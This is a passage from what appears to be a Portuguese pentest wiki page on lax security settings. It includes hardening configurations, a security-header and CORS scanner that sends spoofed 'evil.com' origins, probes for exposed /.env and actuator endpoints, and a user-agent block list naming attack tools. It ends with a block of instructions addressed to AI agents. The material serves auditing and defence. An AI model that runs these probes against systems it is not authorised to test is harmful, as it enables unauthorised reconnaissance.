from flask import jsonify, current_app

class SecureErrorHandler:
    """Secure error handling configuration"""
    
    def __init__(self, app=None):
        self.app = app
        if app is not None:
            self.init_app(app)
    
    def init_app(self, app):
        """Initialize error handling for application"""
        
        # Register error handlers
        app.register_error_handler(404, self.handle_404)
        app.register_error_handler(500, self.handle_500)
        app.register_error_handler(Exception, self.handle_generic_error)
        
        # Configure logging
        self.configure_logging(app)
    
    def handle_404(self, error):
        """Handle 404 errors securely"""
        return jsonify({
            'error': 'Resource not found',
            'code': 404
        }), 404
    
    def handle_500(self, error):
        """Handle 500 errors securely"""
        
        # Log the actual error for debugging
        current_app.logger.error(f"Internal server error: {str(error)}")
        
        # Return generic message to client
        return jsonify({
            'error': 'Internal server error',
            'code': 500
        }), 500
    
    def handle_generic_error(self, error):
        """Handle generic errors securely"""
        
        # Log the error with appropriate level
        if hasattr(error, 'code') and 400 <= error.code < 500:
            current_app.logger.warning(f"Client error {error.code}: {str(error)}")
        else:
            current_app.logger.error(f"Server error: {str(error)}")
        
        # Determine appropriate response
        if hasattr(error, 'code'):
            return jsonify({
                'error': str(error) if current_app.debug else 'An error occurred',
                'code': error.code
            }), error.code
        else:
            return self.handle_500(error)
    
    def configure_logging(self, app):
        """Configure secure logging"""
        
        if not app.debug:
            # In production, log to file with appropriate level
            import logging.handlers
            
            file_handler = logging.handlers.RotatingFileHandler(
                '/var/log/app.log',
                maxBytes=1024 * 1024 * 10,  # 10MB
                backupCount=5
            )
            
            file_handler.setFormatter(logging.Formatter(
                '%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]'
            ))
            
            file_handler.setLevel(logging.INFO)
            app.logger.addHandler(file_handler)
            app.logger.setLevel(logging.INFO)

# Decorator for secure error handling in routes
def secure_error_handler(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        try:
            return f(*args, **kwargs)
        except Exception as e:
            current_app.logger.error(f"Error in {f.__name__}: {str(e)}")
            return jsonify({
                'error': 'An error occurred processing your request',
                'code': 500
            }), 500
    return decorated_function

# Usage
@app.route('/api/data')
@secure_error_handler
def get_data():
    # Your route logic here
    return jsonify({'data': 'secure data'})
```

### **Configurações de Segurança**

#### **1. Docker Security Configuration**

```dockerfile
# Dockerfile seguro
FROM python:3.9-slim

# Install security updates
RUN apt-get update && apt-get upgrade -y && \
    apt-get clean && rm -rf /var/lib/apt/lists/*

# Create non-root user
RUN groupadd -r appuser && useradd -r -g appuser appuser

# Set working directory
WORKDIR /app

# Copy requirements first for better caching
COPY requirements.txt .

# Install dependencies
RUN pip install --no-cache-dir -r requirements.txt

# Copy application code
COPY . .

# Change ownership to non-root user
RUN chown -R appuser:appuser /app

# Switch to non-root user
USER appuser

# Security settings
ENV PYTHONUNBUFFERED=1
ENV PYTHONDONTWRITEBYTECODE=1

# Expose port
EXPOSE 8000

# Health check
HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 \
    CMD curl -f http://localhost:8000/health || exit 1

# Run application
CMD ["gunicorn", "--bind", "0.0.0.0:8000", "--workers", "4", "app:app"]
```

#### **2. Database Security Configuration**

```sql
-- PostgreSQL security configuration
-- Create dedicated user with minimal privileges
CREATE USER app_user WITH PASSWORD 'secure_password_123';
CREATE DATABASE app_db;
GRANT CONNECT ON DATABASE app_db TO app_user;

-- Connect to application database
\c app_db

-- Grant minimal required privileges
GRANT USAGE ON SCHEMA public TO app_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO app_user;
GRANT USAGE ON ALL SEQUENCES IN SCHEMA public TO app_user;

-- Revoke dangerous privileges
REVOKE CREATE ON SCHEMA public FROM PUBLIC;
REVOKE ALL ON DATABASE app_db FROM PUBLIC;

-- Configure connection security
ALTER SYSTEM SET listen_addresses = 'localhost';
ALTER SYSTEM SET password_encryption = 'scram-sha-256';

-- Enable logging
ALTER SYSTEM SET log_statement = 'ddl';
ALTER SYSTEM SET log_connections = on;
ALTER SYSTEM SET log_disconnections = on;

-- Reload configuration
SELECT pg_reload_conf();

-- Application-specific table with security
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    username VARCHAR(50) UNIQUE NOT NULL,
    email VARCHAR(100) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    last_login TIMESTAMP,
    is_active BOOLEAN DEFAULT true
);

-- Create indexes for performance
CREATE INDEX idx_users_username ON users(username);
CREATE INDEX idx_users_email ON users(email);
```

***

## 🔧 **Ferramentas e Testes**

### **Ferramentas de Análise Automatizada**

#### **1. Security Headers Scanner**

```python
#!/usr/bin/env python3
# security_headers_scanner.py

import requests
import json
from urllib.parse import urljoin

class SecurityHeadersScanner:
    def __init__(self, target_url):
        self.target = target_url
        self.findings = {
            'missing_headers': [],
            'insecure_headers': [],
            'informative_headers': [],
            'recommendations': []
        }
    
    def scan_headers(self):
        """Scan for security headers configuration"""
        
        response = requests.get(self.target)
        headers = response.headers
        
        # Required security headers
        required_headers = {
            'X-Frame-Options': {
                'required': True,
                'secure_values': ['DENY', 'SAMEORIGIN'],
                'description': 'Prevents clickjacking attacks'
            },
            'X-Content-Type-Options': {
                'required': True,
                'secure_values': ['nosniff'],
                'description': 'Prevents MIME type sniffing'
            },
            'X-XSS-Protection': {
                'required': True,
                'secure_values': ['1; mode=block'],
                'description': 'Enables XSS protection in older browsers'
            },
            'Strict-Transport-Security': {
                'required': True,
                'secure_values': None,  # Any value is better than none
                'description': 'Enforces HTTPS connections'
            },
            'Content-Security-Policy': {
                'required': False,  # Recommended but complex
                'secure_values': None,
                'description': 'Prevents XSS and other code injection attacks'
            },
            'Referrer-Policy': {
                'required': False,
                'secure_values': ['no-referrer', 'strict-origin'],
                'description': 'Controls referrer information'
            }
        }
        
        # Check for missing headers
        for header, config in required_headers.items():
            if header not in headers and config['required']:
                self.findings['missing_headers'].append({
                    'header': header,
                    'description': config['description']
                })
            
            # Check for insecure values
            elif header in headers and config['secure_values']:
                header_value = headers[header]
                if not any(secure_val in header_value for secure_val in config['secure_values']):
                    self.findings['insecure_headers'].append({
                        'header': header,
                        'current_value': header_value,
                        'recommended_values': config['secure_values'],
                        'description': config['description']
                    })
        
        # Check for informative headers (information disclosure)
        informative_headers = ['Server', 'X-Powered-By', 'X-AspNet-Version']
        for header in informative_headers:
            if header in headers:
                self.findings['informative_headers'].append({
                    'header': header,
                    'value': headers[header],
                    'risk': 'Information disclosure'
                })
        
        return self.findings
    
    def scan_cors_configuration(self):
        """Scan for CORS misconfigurations"""
        
        test_origins = [
            'https://evil.com',
            'http://localhost',
            'null',
            'https://attacker.com'
        ]
        
        cors_findings = []
        
        for origin in test_origins:
            response = requests.get(
                self.target,
                headers={'Origin': origin}
            )
            
            acao = response.headers.get('Access-Control-Allow-Origin')
            acac = response.headers.get('Access-Control-Allow-Credentials')
            
            if acao == '*':
                cors_findings.append({
                    'type': 'CORS_Wildcard',
                    'origin': origin,
                    'acao': acao,
                    'acac': acac,
                    'risk': 'HIGH - Any origin can access resources'
                })
            
            elif acao == origin:
                cors_findings.append({
                    'type': 'CORS_Reflection',
                    'origin': origin,
                    'acao': acao,
                    'acac': acac,
                    'risk': 'HIGH - Origin reflection allows arbitrary origins'
                })
            
            elif acac == 'true' and (acao == '*' or acao == origin):
                cors_findings.append({
                    'type': 'CORS_Credentials_With_Wildcard',
                    'origin': origin,
                    'acao': acao,
                    'acac': acac,
                    'risk': 'CRITICAL - Credentials allowed with wildcard origin'
                })
        
        return cors_findings
    
    def generate_report(self):
        """Generate comprehensive security report"""
        
        headers_findings = self.scan_headers()
        cors_findings = self.scan_cors_configuration()
        
        report = {
            'target': self.target,
            'headers_scan': headers_findings,
            'cors_scan': cors_findings,
            'risk_level': self.calculate_risk_level(headers_findings, cors_findings),
            'recommendations': self.generate_recommendations(headers_findings, cors_findings)
        }
        
        return report
    
    def calculate_risk_level(self, headers_findings, cors_findings):
        """Calculate overall risk level"""
        
        risk_score = 0
        
        # Headers risk
        risk_score += len(headers_findings['missing_headers']) * 2
        risk_score += len(headers_findings['insecure_headers']) * 1
        risk_score += len(headers_findings['informative_headers']) * 1
        
        # CORS risk
        for finding in cors_findings:
            if 'CRITICAL' in finding['risk']:
                risk_score += 10
            elif 'HIGH' in finding['risk']:
                risk_score += 5
        
        if risk_score >= 10:
            return 'HIGH'
        elif risk_score >= 5:
            return 'MEDIUM'
        else:
            return 'LOW'
    
    def generate_recommendations(self, headers_findings, cors_findings):
        """Generate security recommendations"""
        
        recommendations = []
        
        # Header recommendations
        for missing in headers_findings['missing_headers']:
            recommendations.append(f"Add {missing['header']} header: {missing['description']}")
        
        for insecure in headers_findings['insecure_headers']:
            recommendations.append(
                f"Update {insecure['header']} from '{insecure['current_value']}' "
                f"to one of: {', '.join(insecure['recommended_values'])}"
            )
        
        for info in headers_findings['informative_headers']:
            recommendations.append(f"Remove {info['header']} header to prevent information disclosure")
        
        # CORS recommendations
        for cors in cors_findings:
            recommendations.append(f"CORS: {cors['risk']} - {cors['type']}")
        
        return recommendations

# Usage
if __name__ == "__main__":
    scanner = SecurityHeadersScanner('https://target.com')
    report = scanner.generate_report()
    
    print(f"Security Headers Scan Report for {report['target']}")
    print(f"Risk Level: {report['risk_level']}")
    print("\nRecommendations:")
    for rec in report['recommendations']:
        print(f"- {rec}")
```

#### **2. Ferramentas Especializadas**

```bash
# Security headers scanning
nuclei -t http-missing-security-headers -u https://target.com
nmap --script http-security-headers target.com

# CORS testing
cors-scanner -u https://target.com
nuclei -t http-cors -u https://target.com

# General configuration scanning
nikto -h https://target.com
whatweb target.com

# SSL/TLS configuration
testssl.sh https://target.com
sslyze target.com

# Framework-specific tools
retire.js # JavaScript dependencies
safety check # Python dependencies
bundler-audit # Ruby dependencies
```

### **Testes Manuais**

{% stepper %}
{% step %}

### Verificação de Configurações de Produção

```bash
#!/bin/bash
# production_config_check.sh

TARGET="https://target.com"

echo "=== Production Configuration Check ==="

# Check for debug mode
echo "1. Testing for debug mode..."
curl -s "$TARGET/does-not-exist" | grep -i "debug\|development\|stack trace" && \
echo "⚠️  Debug information exposed"

# Check security headers
echo "2. Checking security headers..."
curl -s -I "$TARGET" | grep -E "X-Frame-Options|X-Content-Type-Options|X-XSS-Protection" || \
echo "⚠️  Security headers missing"

# Check for directory listing
echo "3. Testing directory listing..."
for dir in /images /css /js /uploads /static; do
    curl -s "$TARGET$dir" | grep -i "index of" && echo "⚠️  Directory listing enabled: $dir"
done

# Check HTTP methods
echo "4. Testing dangerous HTTP methods..."
curl -X OPTIONS -s -I "$TARGET" | grep -i "allow:" && \
curl -X OPTIONS -s -I "$TARGET" | grep -E "PUT|DELETE|TRACE" && \
echo "⚠️  Dangerous methods enabled"

# Check CORS configuration
echo "5. Testing CORS configuration..."
curl -s -H "Origin: https://evil.com" -I "$TARGET" | grep -i "access-control-allow-origin" && \
echo "⚠️  CORS misconfiguration detected"

echo "=== Check Complete ==="
```

{% endstep %}

{% step %}

### Análise de Configurações de Framework

```python
# framework_config_checker.py
def check_framework_configurations(target_url):
    """Check for framework-specific misconfigurations"""
    
    framework_checks = {
        'django': [
            '/admin/',
            '/debug/',
            '/static/admin/',
            '/api/'
        ],
        'rails': [
            '/rails/info',
            '/assets/',
            '/javascripts/',
            '/stylesheets/'
        ],
        'laravel': [
            '/.env',
            '/storage/',
            '/vendor/',
            '/config/'
        ],
        'spring': [
            '/actuator/',
            '/heapdump',
            '/env',
            '/metrics'
        ]
    }
    
    detected_frameworks = {}
    
    for framework, endpoints in framework_checks.items():
        detected_endpoints = []
        
        for endpoint in endpoints:
            response = requests.get(f"{target_url}{endpoint}")
            
            if response.status_code == 200:
                # Framework-specific detection logic
                if framework == 'django' and 'Django' in response.text:
                    detected_endpoints.append(endpoint)
                elif framework == 'rails' and 'Ruby on Rails' in response.text:
                    detected_endpoints.append(endpoint)
                elif framework == 'laravel' and 'Laravel' in response.text:
                    detected_endpoints.append(endpoint)
                elif framework == 'spring' and 'Spring Boot' in response.text:
                    detected_endpoints.append(endpoint)
        
        if detected_endpoints:
            detected_frameworks[framework] = detected_endpoints
    
    return detected_frameworks
```

{% endstep %}
{% endstepper %}

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção de Lax Security Settings**

* [ ] **Configurações de Servidor Web**
  * [ ] Headers de segurança implementados (CSP, HSTS, X-Frame-Options)
  * [ ] Debug mode desabilitado em produção
  * [ ] Directory listing desabilitado
  * [ ] Métodos HTTP perigosos desabilitados
  * [ ] Server tokens removidos
* [ ] **Configurações de Aplicação**
  * [ ] CORS configurado com lista branca de origens
  * [ ] Error handling seguro (sem stack traces)
  * [ ] Logging configurado apropriadamente
  * [ ] Configurações carregadas de environment variables
  * [ ] Feature flags de desenvolvimento desabilitadas
* [ ] **Configurações de Banco de Dados**
  * [ ] Credenciais seguras e não padrão
  * [ ] Privilégios mínimos para usuários de aplicação
  * [ ] Conexões remotas restritas
  * [ ] Logging de queries sensível desabilitado
  * [ ] Backups criptografados
* [ ] **Configurações de Infraestrutura**
  * [ ] Serviços desnecessários desabilitados
  * [ ] Portas abertas minimizadas
  * [ ] Firewalls configurados adequadamente
  * [ ] SSL/TLS configurado corretamente
  * [ ] Sistemas atualizados regularmente

### **Checklist de Auditoria**

* [ ] **Verificação de Headers de Segurança**
  * [ ] Testar presença de headers de segurança
  * [ ] Verificar valores adequados dos headers
  * [ ] Confirmar remoção de headers informativos
  * [ ] Validar configurações de CORS
* [ ] **Teste de Configurações de Desenvolvimento**
  * [ ] Verificar debug mode em produção
  * [ ] Testar endpoints de desenvolvimento
  * [ ] Validar configurações de logging
  * [ ] Checar feature flags
* [ ] **Análise de Configurações de Servidor**
  * [ ] Verificar métodos HTTP permitidos
  * [ ] Testar directory listing
  * [ ] Validar configurações de SSL/TLS
  * [ ] Checar versões de software expostas

### **Checklist de Resposta a Incidentes**

* [ ] **Detecção**
  * [ ] Monitorar headers de resposta
  * [ ] Alertar para configurações de debug
  * [ ] Detectar directory listing
  * [ ] Monitorar mudanças de configuração
* [ ] **Contenção**
  * [ ] Corrigir configurações inadequadas
  * [ ] Restringir acesso temporariamente
  * [ ] Revisar logs por atividades suspeitas
  * [ ] Atualizar credenciais se necessário
* [ ] **Correção**
  * [ ] Implementar configurações seguras
  * [ ] Atualizar documentação de configuração
  * [ ] Realizar auditoria completa
  * [ ] Implementar monitoramento contínuo

***

## 📊 **Exemplos de Implementação Segura**

### **Sistema de Configuração Segura**

```python
# security/configuration.py
import os
import logging
from typing import Dict, Any
from dataclasses import dataclass
from enum import Enum

class Environment(Enum):
    DEVELOPMENT = "development"
    STAGING = "staging"
    PRODUCTION = "production"

@dataclass
class SecurityConfiguration:
    """Centralized security configuration management"""
    
    environment: Environment
    secret_key: str
    allowed_hosts: list
    debug: bool
    database_url: str
    cors_origins: list
    
    @classmethod
    def from_environment(cls):
        """Create configuration from environment variables"""
        
        environment = Environment(os.environ.get('ENVIRONMENT', 'production'))
        
        # Validate required environment variables
        required_vars = ['SECRET_KEY', 'DATABASE_URL', 'ALLOWED_HOSTS']
        missing_vars = [var for var in required_vars if not os.environ.get(var)]
        
        if missing_vars:
            raise ValueError(f"Missing required environment variables: {', '.join(missing_vars)}")
        
        # Parse allowed hosts
        allowed_hosts = os.environ.get('ALLOWED_HOSTS', '').split(',')
        
        # Determine debug mode based on environment
        debug = environment == Environment.DEVELOPMENT
        
        # CORS origins
        cors_origins = os.environ.get('CORS_ORIGINS', '').split(',')
        
        return cls(
            environment=environment,
            secret_key=os.environ['SECRET_KEY'],
            allowed_hosts=allowed_hosts,
            debug=debug,
            database_url=os.environ['DATABASE_URL'],
            cors_origins=cors_origins
        )
    
    def validate(self):
        """Validate security configuration"""
        
        if self.environment == Environment.PRODUCTION:
            if self.debug:
                raise ValueError("DEBUG must be False in production environment")
            
            if not self.secret_key or len(self.secret_key) < 32:
                raise ValueError("SECRET_KEY must be at least 32 characters in production")
            
            if not self.allowed_hosts or '*' in self.allowed_hosts:
                raise ValueError("ALLOWED_HOSTS must be specified and not contain wildcards in production")
        
        # Validate CORS configuration
        if self.environment == Environment.PRODUCTION and '*' in self.cors_origins:
            logging.warning("CORS wildcard (*) detected in production environment")
        
        return True
    
    def get_security_headers(self) -> Dict[str, str]:
        """Get security headers configuration"""
        
        base_headers = {
            'X-Frame-Options': 'DENY',
            'X-Content-Type-Options': 'nosniff',
            'X-XSS-Protection': '1; mode=block',
            'Referrer-Policy': 'strict-origin-when-cross-origin'
        }
        
        if self.environment == Environment.PRODUCTION:
            base_headers.update({
                'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
                'Content-Security-Policy': self._get_csp_policy()
            })
        
        return base_headers
    
    def _get_csp_policy(self) -> str:
        """Generate Content Security Policy"""
        
        directives = [
            "default-src 'self'",
            "script-src 'self'",
            "style-src 'self' 'unsafe-inline'",
            "img-src 'self' data: https:",
            "connect-src 'self'",
            "font-src 'self'",
            "object-src 'none'",
            "media-src 'self'",
            "frame-src 'none'"
        ]
        
        return '; '.join(directives)

# Usage in application
try:
    config = SecurityConfiguration.from_environment()
    config.validate()
    
    # Apply configuration to application
    DEBUG = config.debug
    ALLOWED_HOSTS = config.allowed_hosts
    SECRET_KEY = config.secret_key
    
except ValueError as e:
    logging.error(f"Configuration error: {e}")
    exit(1)
```

### **Middleware de Segurança Abrangente**

```python
# security/middleware.py
import logging
from typing import Callable
from flask import request, Response

class SecurityMiddleware:
    """Comprehensive security middleware"""
    
    def __init__(self, app=None):
        self.app = app
        if app is not None:
            self.init_app(app)
    
    def init_app(self, app):
        """Initialize security middleware"""
        
        # Add security headers to all responses
        @app.after_request
        def add_security_headers(response):
            return self._add_security_headers(response)
        
        # Block suspicious requests
        @app.before_request
        def check_request_security():
            return self._check_request_security()
        
        # Configure error handling
        @app.errorhandler(Exception)
        def handle_security_errors(error):
            return self._handle_security_errors(error)
    
    def _add_security_headers(self, response: Response) -> Response:
        """Add security headers to response"""
        
        security_headers = {
            'X-Frame-Options': 'DENY',
            'X-Content-Type-Options': 'nosniff',
            'X-XSS-Protection': '1; mode=block',
            'Referrer-Policy': 'strict-origin-when-cross-origin',
            'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
            'Content-Security-Policy': "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
        }
        
        for header, value in security_headers.items():
            response.headers[header] = value
        
        # Remove informative headers
        response.headers.remove('Server')
        response.headers.remove('X-Powered-By')
        
        return response
    
    def _check_request_security(self):
        """Check request for security issues"""
        
        # Block suspicious user agents
        suspicious_agents = ['nmap', 'sqlmap', 'nikto', 'metasploit']
        user_agent = request.headers.get('User-Agent', '').lower()
        
        if any(agent in user_agent for agent in suspicious_agents):
            logging.warning(f"Suspicious User-Agent detected: {user_agent}")
            return {'error': 'Access denied'}, 403
        
        # Block dangerous HTTP methods
        if request.method in ['PUT', 'DELETE', 'TRACE', 'CONNECT']:
            logging.warning(f"Dangerous HTTP method attempted: {request.method}")
            return {'error': 'Method not allowed'}, 405
        
        # Validate host header
        if not self._is_valid_host(request.host):
            logging.warning(f"Invalid host header: {request.host}")
            return {'error': 'Invalid host'}, 400
        
        return None
    
    def _is_valid_host(self, host: str) -> bool:
        """Validate host header"""
        
        allowed_hosts = ['example.com', 'api.example.com']
        return host in allowed_hosts
    
    def _handle_security_errors(self, error: Exception) -> Response:
        """Handle security-related errors"""
        
        # Log the error but don't expose details
        logging.error(f"Security error: {str(error)}")
        
        # Return generic error message
        return {
            'error': 'An error occurred',
            'code': 500
        }, 500

# Usage
security_middleware = SecurityMiddleware(app)
```

***

## ⚠️ **Considerações Finais**

### **Mitos Comuns sobre Configurações de Segurança**

* ❌ "Configurações padrão são seguras" → **FALSO** (configurações padrão são para facilidade de uso, não segurança)
* ❌ "Debug mode não é perigoso" → **FALSO** (debug mode expõe informações sensíveis)
* ❌ "CORS com wildcard é aceitável" → **FALSO** (CORS com wildcard permite ataques cross-origin)
* ❌ "Headers de segurança são opcionais" → **FALSO** (headers de segurança previnem ataques comuns)

### **Boas Práticas Essenciais**

1. **Princípio do Menor Privilégio**: Configure permissões mínimas necessárias
2. **Defesa em Profundidade**: Múltiplas camadas de segurança
3. **Configuração Baseada em Ambiente**: Diferentes configurações para dev/staging/prod
4. **Monitoramento Contínuo**: Detectar mudanças de configuração
5. **Automação de Hardening**: Scripts para aplicar configurações seguras
6. **Auditoria Regular**: Verificar configurações periodicamente

### **Referências e Padrões**

* OWASP Secure Headers Project
* CIS Security Benchmarks
* NIST Security Configuration Checklists
* Mozilla Observatory

**🔐 Lembre-se**: Configurações de segurança inadequadas são uma das causas mais comuns de violações de segurança. Implemente configurações seguras por padrão e mantenha auditorias regulares para proteger seus sistemas.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/server-side-infraestrutura-web/lax-security-settings.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
